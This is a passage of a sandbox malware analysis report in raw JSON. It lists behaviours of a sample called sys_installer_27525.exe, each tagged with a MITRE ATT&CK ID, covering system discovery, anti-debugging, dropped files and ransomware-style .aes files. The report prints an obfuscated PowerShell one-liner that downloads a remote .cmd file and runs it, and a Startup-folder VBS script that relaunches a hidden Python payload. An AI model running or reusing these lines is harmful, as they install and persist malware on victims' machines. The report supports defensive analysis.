\"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to enumerate Windows drive types","description":"\"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00005396)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00005792)","origin":"API Call","mitre_attack_id":"T1680","relevance":7,"id":"api-327","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00005396)\n \"sys_installer_27525.exe\" called \"GetComputerNameW\" (UID: 00000000-00001352)\n \"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00005792)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000ff0000000000000008000000d8210000000001000600004f\"}\n \"sys_installer_27525.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000ff0000000000000008000000d8210000000001000600004f\"}\n \"py.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeff0300000002000000d8210000000001000600004f\"}\n \"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeff0300000002000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00005396)\n \"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}\n \"sys_installer_27525.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"py.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"py.exe\" called \"GetUserNameW\" (UID: 00000000-00002592)\n \"py.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00005792)\n \"powershell.exe\" called \"GetUserNameExW\" (UID: 00000000-00005792)","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$57","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$58","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00002592.00000000.177629.03BB0000.00000004.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00002592.00000000.177629.05D79000.00000004.mdmp, 00000000-00002592.00000000.177629.06000000.00000004.mdmp, 00000000-00002592.00000000.177629.07750000.00000004.mdmp, 00000000-00002592.00000000.177629.6F242000.00000002.mdmp, 00000000-00002592.00000001.179550.08C80000.00000004.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp, 00000000-00002592.00000002.181470.05EB0000.00000004.mdmp, 00000000-00002592.00000002.181470.6E3C0000.00000002.mdmp, 00000000-00002592.00000002.181470.72155000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"Found reference to API \"GetTempPath\" (Indicator: \"GetTempPath\"; Source: \"00000000-00001352.00000000.176224.00B02000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileName\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00002592.00000000.177629.03BB0000.00000004.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host name of a computer (API string)","description":"Found reference to API \"gethostname\" (Indicator: \"gethostname\"; Source: \"00000000-00002592.00000000.177629.03BB0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-532","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieves the class object from a DLL object handler (API string)","description":"Found reference to API \"DllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00002592.00000000.177629.03BB0000.00000004.mdmp, 00000000-00002592.00000002.181470.6E3C0000.00000002.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-82","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"Found string \"passwordFormat\" (Indicator: \"password\"; Source: \"00000000-00001352.00000000.176224.051F0000.00000004.mdmp\")\n Found string \"passwordAttemptWindow\" (Indicator: \"password\"; Source: \"00000000-00001352.00000000.176224.051F0000.00000004.mdmp\")\n Found string \"passwordStrengthRegularExpression\" (Indicator: \"password\"; Source: \"00000000-00001352.00000000.176224.051F0000.00000004.mdmp\")\n Found string \"passwordFormat=\"Hashed\"\" (Indicator: \"password\"; Source: \"00000000-00001352.00000000.176224.051F0000.00000004.mdmp\")\n Found string \"passwordAttemptWindow=\"10\"\" (Indicator: \"password\"; Source: \"00000000-00001352.00000000.176224.051F0000.00000004.mdmp\")\n Found string \"passwordStrengthRegularExpression=\"\" />\" (Indicator: \"password\"; Source: \"00000000-00001352.00000000.176224.051F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Reads system-defined device setup information from registry","description":"\"sys_installer_27525.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0002\"; Key: \"PRUNINGMODE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-106","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References to WMI query strings used for information discovery","description":"file/memory contains long string with (Indicator: \" Win32_Process\"; File: \"run.vbs\")\n file/memory contains long string with (Indicator: \" Win32_Process\"; File: \"run.py\")\n Found string \"Set procs = wmi.ExecQuery(\"Select * from Win32_Process where Name = 'py.exe'\")\" (Indicator: \" Win32_Process\"; Source: \"00000000-00002592.00000000.177629.057F0000.00000004.mdmp, 00000000-00002592.00000001.179550.059B0000.00000004.mdmp, 00000000-00002592.00000002.181470.032C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-507","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Retrieves specified items using PowerShell","description":"$59","origin":"Monitored Target","mitre_attack_id":"T1082","relevance":1,"id":"target-477","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Uses powershell to retrieve environment variables","description":"$5a","origin":"Monitored Target","mitre_attack_id":"T1082","relevance":1,"id":"target-253","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00005396)\n \"sys_installer_27525.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00001352)\n \"py.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00002592)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00005792)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$5b","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"SeDebugPrivilege\" (Indicator: \"SeDebugPrivilege\"; Source: \"00000000-00001352.00000000.176224.051F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"Observed string: \"shutdown\" (Indicator: \"shutdown\") in Source: 00000000-00001352-00000C2B-1692423255","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-406","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00002592.00000000.177629.03BB0000.00000004.mdmp, 00000000-00002592.00000000.177629.6DB78000.00000002.mdmp, 00000000-00002592.00000000.177629.6E3A6000.00000002.mdmp, 00000000-00002592.00000000.177629.6F242000.00000002.mdmp, 00000000-00002592.00000001.179550.01092000.00000002.mdmp, 00000000-00002592.00000001.179550.6E38E000.00000002.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp, 00000000-00002592.00000002.181470.6E3C0000.00000002.mdmp, 00000000-00002592.00000002.181470.72155000.00000002.mdmp\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00002592.00000000.177629.03BB0000.00000004.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00002592.00000000.177629.03BB0000.00000004.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp, 00000000-00002592.00000002.181470.72155000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")\n \"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-21-735145574-3570218355-1207367261-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\WINDOWS\\SYSTEM32\\CMD.EXE\"; Value: \"CE64428B12EADC010000000000000000000000000200000000\")\n \"sys_installer_27525.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")\n \"py.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"powershell.exe\" opened \"\\Device\\KsecDD\"\n \"sys_installer_27525.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$5c","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"System Security","name":"References device drivers used by rootkit malware","description":"Found string \"\\Device\\HarddiskVolume2\\DosDevices\\C:\\??\\Volume{815ead30-0000-0000-0000-501f00000000}\" (Indicator: \"\\DosDevices\\c:\"; Source: \"00000000-00001352.00000001.177223.1FC80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1014","relevance":1,"id":"string-458","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"$5d","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"Unusual Characteristics","name":"Command line contains PowerShell","description":"Commandline contains PowerShell string \"/c powershell.exe -w hidden -c \"$x='7ttps://r4w.8it7u9userc0ntent.c0m/tiiisiet65-sud0/L0i0i0N04isK/m4in/D0wnl04d-m4cOSx.cmd'.Replace('7','h').Replace('4','a').Replace('8','g').Replace('9','b').Replace('0','o');iwr $x -o $env:TEMP\\s.cmd;& $env:TEMP\\s.cmd\".......\" in [Source : cmd.exe]","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-510","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to shellcode","description":"$5e","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-468","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"Unusual Characteristics","name":"Detected known bank URL artifact","description":"\".getmicrosoftkey.com1&0\" (Source: 00000000-00001352.00000000.176224.1FC80000.00000004.mdmp, 00000000-00001352.00000001.177223.1FC80000.00000004.mdmp, Indicator: \"key.com\")","origin":"File/Memory","relevance":2,"id":"string-23","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops executable files inside temp directory","description":"$5f","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-33","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"UserCache.bin\" - Location: [%LOCALAPPDATA%\\Adobe\\Acrobat\\11.0\\UserCache.bin]- [targetUID: 00000000-00002584]\n Dropped file: \"run.vbs\" - Location: [%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\run.vbs]- [targetUID: 00000000-00002592]\n Dropped file: \"77EC63BDA74BD0D0E0426DC8F8008506\" - Location: [%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00002592]\n Dropped file: \"StartupProfileData-NonInteractive\" - Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive]- [targetUID: 00000000-00005396]\n Dropped file: \"77EC63BDA74BD0D0E0426DC8F8008506\" - Location: [%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00002592]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"sys_installer_27525.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"python.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"py.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"py.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 5396)\n \"sys_installer_27525.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 1352)\n \"py.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 2592)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 5792)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Uses powershell with an encoded commandline","description":"$60","origin":"Monitored Target","mitre_attack_id":"T1027","relevance":10,"id":"target-28","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve a module handle","description":"GetModuleHandleW@KERNEL32.DLL at 00000000-00005792-63877-121-00EEE0D0\n GetModuleHandleExW@KERNEL32.DLL at 00000000-00005792-63877-122-00EEE0B0\n GetModuleHandleW@KERNEL32.DLL at 00000000-00005792-63877-193-00EED1C6\n GetModuleHandleW@KERNEL32.DLL at 00000000-00005792-63877-305-00EE9754\n GetModuleHandleW@KERNEL32.DLL at 00000000-00005792-63877-313-00EE9DC0","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":5,"id":"stream-121","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure","description":"GetStartupInfoW@KERNEL32.DLL at 00000000-00005792-63877-182-00EE8190","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1543","relevance":5,"id":"stream-133","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"suspicious","category":"Environment Awareness","name":"Found a reference to a WMI query string known to be used for VM detection","description":"\"Set wmi = GetObject(\"winmgmts:\\\\.\\root\\cimv2\")Set procs = wmi.ExecQuery(\"Select * from Win32_Process where Name = 'py.exe'\")If procs.Count = 0 Then Set shell = CreateObject(\"WScript.Shell\") shell.Run \"\"\"C:\\Users\\HAPUBWS\\AppData\\Local\\Temp\\Drivers\\macOS\\py.exe\"\" \"\"C:\\Users\\HAPUBWS\\AppData\\Local\\Temp\\Drivers\\macOS\\run.py\"\"\", 0 Set shell = NothingEnd If\" (Indicator: \" win32_process\"; File: \"run.vbs\")\n \"Set procs = wmi.ExecQuery(\"Select * from Win32_Process where Name = 'py.exe'\")\" (Indicator: \" win32_process\"; Source: \"00000000-00002592.00000000.177629.057F0000.00000004.mdmp, 00000000-00002592.00000001.179550.059B0000.00000004.mdmp, 00000000-00002592.00000002.181470.032C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":10,"id":"string-55","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"suspicious","category":"Environment Awareness","name":"Queries process mitigation policy via NtQueryInformationProcess","description":"\"C:\\Windows\\System32\\cmd.exe\" queried ProcessMitigationPolicy\n \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\sys_installer_27525.exe\" queried ProcessMitigationPolicy\n \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\SystemDrivers\\macOSx\\python.exe\" queried ProcessMitigationPolicy\n \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\Drivers\\macOS\\py.exe\" queried ProcessMitigationPolicy\n \"C:\\Windows\\SysWOW64\\cmd.exe\" queried ProcessMitigationPolicy","origin":"API Call","mitre_attack_id":"T1497.001","relevance":3,"id":"api-323","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"suspicious","category":"Exploit/Shellcode","name":"Contains escaped byte string (often part of obfuscated shellcode)","description":"$61","origin":"File/Memory","mitre_attack_id":"T1140","relevance":10,"id":"string-15","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"7/26 Antivirus vendors marked sample as malicious (26% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"suspicious","category":"General","name":"Contains ability to find and load resources of a specific module","description":"FindResourceExW@KERNEL32.DLL at 00000000-00005792-63877-135-00EEDAD1\n FindResourceExW@KERNEL32.DLL at 00000000-00005792-63877-139-00EED934","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1005","relevance":1,"id":"stream-32","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"\"python.exe\" reads file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"\n \"python.exe\" reads file \"C:\\Users\\%OSUSER%\\Documents\\desktop.ini\"\n \"python.exe\" reads file \"C:\\Users\\%OSUSER%\\Music\\desktop.ini\"\n \"python.exe\" reads file \"C:\\Users\\%OSUSER%\\Pictures\\desktop.ini\"\n \"python.exe\" reads file \"C:\\Users\\%OSUSER%\\Videos\\desktop.ini\"\n \"python.exe\" reads file \"C:\\Users\\%OSUSER%\\Downloads\\desktop.ini\"\n \"python.exe\" reads file \"C:\\Users\\%OSUSER%\\OneDrive\\desktop.ini\"\n \"python.exe\" reads file \"C:\\Users\\%OSUSER%\\Searches\\desktop.ini\"\n \"python.exe\" reads file \"C:\\Users\\%OSUSER%\\Contacts\\desktop.ini\"\n \"python.exe\" reads file \"C:\\Users\\%OSUSER%\\Favorites\\desktop.ini\"\n \"python.exe\" reads file \"C:\\Users\\%OSUSER%\\Links\\desktop.ini\"\n \"python.exe\" reads file \"C:\\Users\\%OSUSER%\\Saved Games\\desktop.ini\"\n \"python.exe\" reads file \"C:\\Users\\desktop.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"$62","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"$63","origin":"API Call","mitre_attack_id":"T1105","relevance":10,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"suspicious","category":"Network Related","name":"Employs a browser-related User Agent without launching browser","description":"Found User Agent(s): Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 185.199.108.133 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"The analysis extracted a file with a known ransomware suffix","description":"Found dropped filename \"42017969502f4d86b1973acb1bf7d63b.aes\" which has been seen in the context of ransomware (Indicator: .aes)\n Found dropped filename \"c60c52d01b084a29a84070a36c713840.aes\" which has been seen in the context of ransomware (Indicator: .aes)","origin":"Binary File","mitre_attack_id":"T1491.001","relevance":10,"id":"binary-22","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"Found string \"Set wmi = GetObject(\"winmgmts:\\\\.\\root\\cimv2\")Set procs = wmi.ExecQuery(\"Select * from Win32_Process where Name = 'py.exe'\")If procs.Count = 0 Then Set shell = CreateObject(\"WScript.Shell\") shell.Run \"\"\"C:\\Users\\HAPUBWS\\AppData\\Local\\Temp\\Drivers\\macOS\\py.exe\"\" \"\"C:\\Users\\HAPUBWS\\AppData\\Local\\Temp\\Drivers\\macOS\\run.py\"\"\", 0 Set shell = NothingEnd If\" (Indicator: \"wmi.exe\"; in File: \"run.vbs\")\n Found string \"wmi = GetObject(\"winmgmts:\\\\.\\root\\cimv2\")\" (Indicator: \"root\\cimv2\"; in Source: \"00000000-00002592.00000000.177629.057F0000.00000004.mdmp\")\n Found string \"Set procs = wmi.ExecQuery(\"Select * from Win32_Process where Name = 'py.exe'\")\" (Indicator: \"wmi.exe\"; in Source: \"00000000-00002592.00000000.177629.057F0000.00000004.mdmp, 00000000-00002592.00000001.179550.059B0000.00000004.mdmp, 00000000-00002592.00000002.181470.032C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":3,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"$64","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_2yygiw2j.o1o.ps1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_lzt5u53b.vej.psm1\" with delete access\n \"sys_installer_27525.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\42017969502f4d86b1973acb1bf7d63b.aes\" with delete access\n \"sys_installer_27525.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\c60c52d01b084a29a84070a36c713840.aes\" with delete access\n \"sys_installer_27525.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\43ed62a4e0544c28932cf53619d613a8.zip\" with delete access\n \"python.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\t2si523r\" with delete access\n \"py.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\us63cnsk\" with delete access\n \"py.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\tmp67_g0g76.xml\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy 